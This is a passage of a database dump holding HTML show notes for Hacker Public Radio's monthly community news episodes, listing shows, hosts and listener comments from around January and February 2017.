href=\"https://hackerpublicradio.org/eps.php?id=2061#comments\" target=\"_blank\">hpr2061</a></strong>\n(2016-06-27) \"<em>Handwriting</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\" target=\"_blank\">droops</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2061#4\" target=\"_blank\">Comment 4</a>:\nm1rr0r5h4d35 on 2017-01-01:\n\"Thanks for sharing!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2159#comments\" target=\"_blank\">hpr2159</a></strong>\n(2016-11-10) \"<em>Coup Tabletop Game</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=78\" target=\"_blank\">klaatu</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2159#1\" target=\"_blank\">Comment 1</a>:\nnondescript on 2017-01-11:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2182#comments\" target=\"_blank\">hpr2182</a></strong>\n(2016-12-13) \"<em>why say GNU/Linux ?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=344\" target=\"_blank\">spaceman</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2182#16\" target=\"_blank\">Comment 16</a>:\nFSA on 2017-01-11:\n\"Some language is more offensive than others\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2189#comments\" target=\"_blank\">hpr2189</a></strong>\n(2016-12-22) \"<em>Working Amateur Radio Satellites</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2189#2\" target=\"_blank\">Comment 2</a>:\nMichael on 2017-01-02:\n\"Additional links\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2190#comments\" target=\"_blank\">hpr2190</a></strong>\n(2016-12-23) \"<em>fucking botnets how do they work?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=344\" target=\"_blank\">spaceman</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2190#1\" target=\"_blank\">Comment 1</a>:\nVictor O on 2017-01-09:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2190#2\" target=\"_blank\">Comment 2</a>:\nVictor O on 2017-01-09:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2192#comments\" target=\"_blank\">hpr2192</a></strong>\n(2016-12-27) \"<em>Fun with Oscilloscopes</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2192#2\" target=\"_blank\">Comment 2</a>:\nclacke on 2017-01-02:\n\"Bubble sort!\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2193#comments\" target=\"_blank\">hpr2193</a></strong>\n(2016-12-28) \"<em>a clean podcast with no swearing</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=344\" target=\"_blank\">spaceman</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2193#4\" target=\"_blank\">Comment 4</a>:\nAConcernedListener on 2017-01-03:\n\"Say what ever you want the way you want.\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2193#5\" target=\"_blank\">Comment 5</a>:\ngws on 2017-01-05:\n\"no such thing as knowledge transfer\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2194#comments\" target=\"_blank\">hpr2194</a></strong>\n(2016-12-29) \"<em>The low-down on what\'s up in the Taiwan Strait.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2194#6\" target=\"_blank\">Comment 6</a>:\nKevin O&#39;Brien on 2017-01-02:\n\"Excellent show!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2194#7\" target=\"_blank\">Comment 7</a>:\nVictor O on 2017-01-09:\"[no title]\"</li></ul><br/>\n</li></ul>\n<p>There are 40 comments on 12 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2197#comments\" target=\"_blank\">hpr2197</a></strong>\n(2017-01-03) \"<em>Why you should not say Free Software</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2197#1\" target=\"_blank\">Comment 1</a>:\nsapceman on 2016-12-28:\n\"what about freedom?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2197#2\" target=\"_blank\">Comment 2</a>:\nmcnalu on 2017-01-03:\n\"Language has a life of its own\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2197#3\" target=\"_blank\">Comment 3</a>:\nbrian on 2017-01-03:\n\"liberty\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2197#4\" target=\"_blank\">Comment 4</a>:\nKen Fallon on 2017-01-04:\n\"Replies\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2198#comments\" target=\"_blank\">hpr2198</a></strong>\n(2017-01-04) \"<em>How awesome is Guix and why will it take over the world</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2198#1\" target=\"_blank\">Comment 1</a>:\nclacke on 2016-12-31:\n\"Correction: 8Sync 0.3!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2198#2\" target=\"_blank\">Comment 2</a>:\nbrian on 2017-01-03:\n\"please more\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2198#3\" target=\"_blank\">Comment 3</a>:\nJonas on 2017-01-04:\n\"Interesting!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2198#4\" target=\"_blank\">Comment 4</a>:\nclacke on 2017-01-05:\n\"Slides\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2198#5\" target=\"_blank\">Comment 5</a>:\nclacke on 2017-01-05:\n\"Everyday package operations\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2198#6\" target=\"_blank\">Comment 6</a>:\nBiasOpinion on 2017-01-13:\n\"Working Programmer\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2199#comments\" target=\"_blank\">hpr2199</a></strong>\n(2017-01-05) \"<em>Replacing the Throttle Position Sensor on My Truck</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2199#1\" target=\"_blank\">Comment 1</a>:\nNYbill on 2017-01-05:\n\"When is the new truck?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2199#2\" target=\"_blank\">Comment 2</a>:\nKen Fallon on 2017-01-06:\n\"Nooooo...\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2199#3\" target=\"_blank\">Comment 3</a>:\nJonathan Kulp on 2017-01-06:\n\"Just getting started\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2201#comments\" target=\"_blank\">hpr2201</a></strong>\n(2017-01-09) \"<em>Matthew \"Lord Drachenblut\" Williams</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2201#1\" target=\"_blank\">Comment 1</a>:\ndroops on 2017-01-10:\n\"Drachenblut\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2202#comments\" target=\"_blank\">hpr2202</a></strong>\n(2017-01-10) \"<em>Makers on YouTube</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2202#1\" target=\"_blank\">Comment 1</a>:\nm1rr0r5h4d35 on 2017-01-09:\n\"Awesome suggestions\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2202#2\" target=\"_blank\">Comment 2</a>:\nVictor O on 2017-01-10:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2202#3\" target=\"_blank\">Comment 3</a>:\ndodddummy on 2017-01-11:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2206#comments\" target=\"_blank\">hpr2206</a></strong>\n(2017-01-16) \"<em>Podcasts I Listen To</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=348\" target=\"_blank\">Reg A</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2206#1\" target=\"_blank\">Comment 1</a>:\npauleb on 2017-01-17:\n\"Update on Linux Luddites\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2206#2\" target=\"_blank\">Comment 2</a>:\nreg a on 2017-01-17:\n\"Linux Luddites Update Info\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2207#comments\" target=\"_blank\">hpr2207</a></strong>\n(2017-01-17) \"<em>NATO phonetic alphabet</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=349\" target=\"_blank\">Hannah, of Terra, of Sol</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2207#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2017-01-20:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2207#2\" target=\"_blank\">Comment 2</a>:\nClinton Roy on 2017-01-21:\n\"Thanks!\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2207#3\" target=\"_blank\">Comment 3</a>:\ndodddummy on 2017-01-26:\n\"We called it fife, not five\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2208#comments\" target=\"_blank\">hpr2208</a></strong>\n(2017-01-18) \"<em>Kayak Camping</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=1\" target=\"_blank\">droops</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2208#1\" target=\"_blank\">Comment 1</a>:\nMongo on 2017-01-19:\n\"Camping the right way\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2208#2\" target=\"_blank\">Comment 2</a>:\ndroops on 2017-01-19:\n\"Thanks\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2208#3\" target=\"_blank\">Comment 3</a>:\nKen Fallon on 2017-01-19:\n\"Another vacation destination\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2208#4\" target=\"_blank\">Comment 4</a>:\ndroops on 2017-01-19:\n\"Vacation Destination?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2208#5\" target=\"_blank\">Comment 5</a>:\nJonathan Kulp  on 2017-01-20:\n\"Not a camper\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2209#comments\" target=\"_blank\">hpr2209</a></strong>\n(2017-01-19) \"<em>Calibre eBook Server</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2209#1\" target=\"_blank\">Comment 1</a>:\ndodddummy on 2017-01-21:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2209#2\" target=\"_blank\">Comment 2</a>:\nJonathan Kulp on 2017-01-21:\n\"Ports\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2209#3\" target=\"_blank\">Comment 3</a>:\ndodddummy on 2017-01-22:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2210#comments\" target=\"_blank\">hpr2210</a></strong>\n(2017-01-20) \"<em>On Freedom of Speech and Censorship</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=325\" target=\"_blank\">m1rr0r5h4d35</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2210#1\" target=\"_blank\">Comment 1</a>:\ndroops on 2017-01-22:\n\"Well Said\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2210#2\" target=\"_blank\">Comment 2</a>:\nBill Miller on 2017-01-23:\n\"Hello\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2212#comments\" target=\"_blank\">hpr2212</a></strong>\n(2017-01-24) \"<em>meanderings Cyberpunk and the Minidisc</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=110\" target=\"_blank\">Quvmoh</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2212#1\" target=\"_blank\">Comment 1</a>:\nBill Miller on 2017-01-26:\n\"Great show\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2212#2\" target=\"_blank\">Comment 2</a>:\nQuvmoh on 2017-01-27:\"[no title]\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2214#comments\" target=\"_blank\">hpr2214</a></strong>\n(2017-01-26) \"<em>Upgrading Vehicle Lights From Halogen to LED</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2214#1\" target=\"_blank\">Comment 1</a>:\nSteve on 2017-01-26:\n\"What about the blinkers?\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2214#2\" target=\"_blank\">Comment 2</a>:\nClinton Roy on 2017-01-26:\"[no title]\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2214#3\" target=\"_blank\">Comment 3</a>:\nJonathan Kulp on 2017-01-27:\n\"Probably not \"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2214#4\" target=\"_blank\">Comment 4</a>:\nJonathan Kulp on 2017-01-27:\n\"Blinkers\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2214#5\" target=\"_blank\">Comment 5</a>:\nKen Fallon on 2017-01-27:\n\"Smokin&#39; hot CANbus LED lamps. (230C in open air.)\"</li><li><a href=\"https://hackerpublicradio.org/eps.php?id=2214#6\" target=\"_blank\">Comment 6</a>:\nJonathan Kulp on 2017-01-27:\n\"Yikes\"</li></ul><br/>\n</li></ul>\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(2241,'2017-03-06','HPR Community News for February 2017',2099,'HPR Volunteers talk about shows released and comments posted in February 2017','\n<h2>New hosts</h2>\n<p>\nThere were no new hosts this month.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\" summary=\"Last month\'s shows\">\n    <tr>\n    <th>Id</th>\n    <th>Day</th>\n    <th>Date</th>\n    <th>Title</th>\n    <th>Host</th>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2218\" target=\"_blank\">2218</a></strong></td>\n    <td>Wed</td>\n    <td>2017-02-01</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2218\" target=\"_blank\">Cool Stuff pt. 5</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\" target=\"_blank\">Curtis Adkins (CPrompt^)</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2219\" target=\"_blank\">2219</a></strong></td>\n    <td>Thu</td>\n    <td>2017-02-02</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2219\" target=\"_blank\">The Musings of a Novice Cable TV Cord Cutter</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=348\" target=\"_blank\">Reg A</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2220\" target=\"_blank\">2220</a></strong></td>\n    <td>Fri</td>\n    <td>2017-02-03</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2220\" target=\"_blank\">Taking apart a tablet</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=257\" target=\"_blank\">laindir</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2221\" target=\"_blank\">2221</a></strong></td>\n    <td>Mon</td>\n    <td>2017-02-06</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2221\" target=\"_blank\">HPR Community News for January 2017</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=159\" target=\"_blank\">HPR Volunteers</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2222\" target=\"_blank\">2222</a></strong></td>\n    <td>Tue</td>\n    <td>2017-02-07</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2222\" target=\"_blank\">FOSDEM 2017 K (level 1, group A)</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2223\" target=\"_blank\">2223</a></strong></td>\n    <td>Wed</td>\n    <td>2017-02-08</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2223\" target=\"_blank\">FOSDEM 2017 K (level 1, group B and C)</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2224\" target=\"_blank\">2224</a></strong></td>\n    <td>Thu</td>\n    <td>2017-02-09</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2224\" target=\"_blank\">FOSDEM 2017 K (level 2 Stands 1 to 9)</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2225\" target=\"_blank\">2225</a></strong></td>\n    <td>Fri</td>\n    <td>2017-02-10</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2225\" target=\"_blank\">FOSDEM 2017 K (level 2 Stands 10 to 19)</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2226\" target=\"_blank\">2226</a></strong></td>\n    <td>Mon</td>\n    <td>2017-02-13</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2226\" target=\"_blank\">FOSDEM 2017 AW Building</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2227\" target=\"_blank\">2227</a></strong></td>\n    <td>Tue</td>\n    <td>2017-02-14</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2227\" target=\"_blank\">FOSDEM 2017 H Building and the Hallway track</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2228\" target=\"_blank\">2228</a></strong></td>\n    <td>Wed</td>\n    <td>2017-02-15</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2228\" target=\"_blank\">linux.conf.au 2017: Russell Keith-Magee</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2229\" target=\"_blank\">2229</a></strong></td>\n    <td>Thu</td>\n    <td>2017-02-16</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2229\" target=\"_blank\">linux.conf.au 2017: Kathy Reid</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2230\" target=\"_blank\">2230</a></strong></td>\n    <td>Fri</td>\n    <td>2017-02-17</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2230\" target=\"_blank\">linux.conf.au 2017: Donna Benjamin</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2231\" target=\"_blank\">2231</a></strong></td>\n    <td>Mon</td>\n    <td>2017-02-20</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2231\" target=\"_blank\">linux.conf.au 2017: Rusty Russell</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2232\" target=\"_blank\">2232</a></strong></td>\n    <td>Tue</td>\n    <td>2017-02-21</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2232\" target=\"_blank\">linux.conf.au 2017: Lilly Ryan</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2233\" target=\"_blank\">2233</a></strong></td>\n    <td>Wed</td>\n    <td>2017-02-22</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2233\" target=\"_blank\">linux.conf.au 2017: Hugh Blemmings</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2234\" target=\"_blank\">2234</a></strong></td>\n    <td>Thu</td>\n    <td>2017-02-23</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2234\" target=\"_blank\">linux.conf.au 2017: Richard Jones</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2235\" target=\"_blank\">2235</a></strong></td>\n    <td>Fri</td>\n    <td>2017-02-24</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2235\" target=\"_blank\">linux.conf.au 2017: First timers interviews</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=315\" target=\"_blank\">Clinton Roy</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2236\" target=\"_blank\">2236</a></strong></td>\n    <td>Mon</td>\n    <td>2017-02-27</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2236\" target=\"_blank\">Hoarding Raspberry Pis</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2237\" target=\"_blank\">2237</a></strong></td>\n    <td>Tue</td>\n    <td>2017-02-28</td>\n    <td><a href=\"https://hackerpublicradio.org/eps.php?id=2237\" target=\"_blank\">Do you care?</a></td>\n    <td><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=252\" target=\"_blank\">Curtis Adkins (CPrompt^)</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available in the archives run\nexternally by <a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\n(see below) and on the HPR server under <a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p><em>Note: since the summer of 2016 Gmane has changed location and is currently\nbeing reestablished. At the moment the HPR archive is not available there.</em></p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-February/thread.html\" target=\"_blank\">https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-February/thread.html</a>\n\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.<br/>\nThere are 13 comments in total.</p>\n<p>There are 5 comments on\n5 previous shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2198#comments\" target=\"_blank\">hpr2198</a></strong>\n(2017-01-04) \"<em>How awesome is Guix and why will it take over the world</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=311\" target=\"_blank\">clacke</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2198#7\" target=\"_blank\">Comment 7</a>:\nclacke on 2017-02-25:\n\"Video\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2202#comments\" target=\"_blank\">hpr2202</a></strong>\n(2017-01-10) \"<em>Makers on YouTube</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2202#4\" target=\"_blank\">Comment 4</a>:\nJim Weda on 2017-02-01:\n\"Treat list....\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2212#comments\" target=\"_blank\">hpr2212</a></strong>\n(2017-01-24) \"<em>meanderings Cyberpunk and the Minidisc</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=110\" target=\"_blank\">Quvmoh</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2212#3\" target=\"_blank\">Comment 3</a>:\nMatt on 2017-02-01:\n\"MiniDisc brought me here...\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2213#comments\" target=\"_blank\">hpr2213</a></strong>\n(2017-01-25) \"<em>Clay Body</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=329\" target=\"_blank\">brian</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2213#1\" target=\"_blank\">Comment 1</a>:\nbrian on 2017-02-09:\n\"a clarrification\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2216#comments\" target=\"_blank\">hpr2216</a></strong>\n(2017-01-30) \"<em>Working AO-85 with my son</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=241\" target=\"_blank\">Christopher M. Hobbs</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2216#1\" target=\"_blank\">Comment 1</a>:\nMichael (mirwi), DL4MGM on 2017-02-04:\n\"Doppler shift\"</li></ul><br/>\n</li></ul>\n<p>There are 8 comments on 6 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=2220#comments\" target=\"_blank\">hpr2220</a></strong>\n(2017-02-03) \"<em>Taking apart a tablet</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=257\" target=\"_blank\">laindir</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps.php?id=2220#1\" target=\"_blank\">Comment 1</a>:\nAlpha32 on 2017-02-07:\n\"Oh man...\"</li></ul><br/>\n</li><li><strong><a 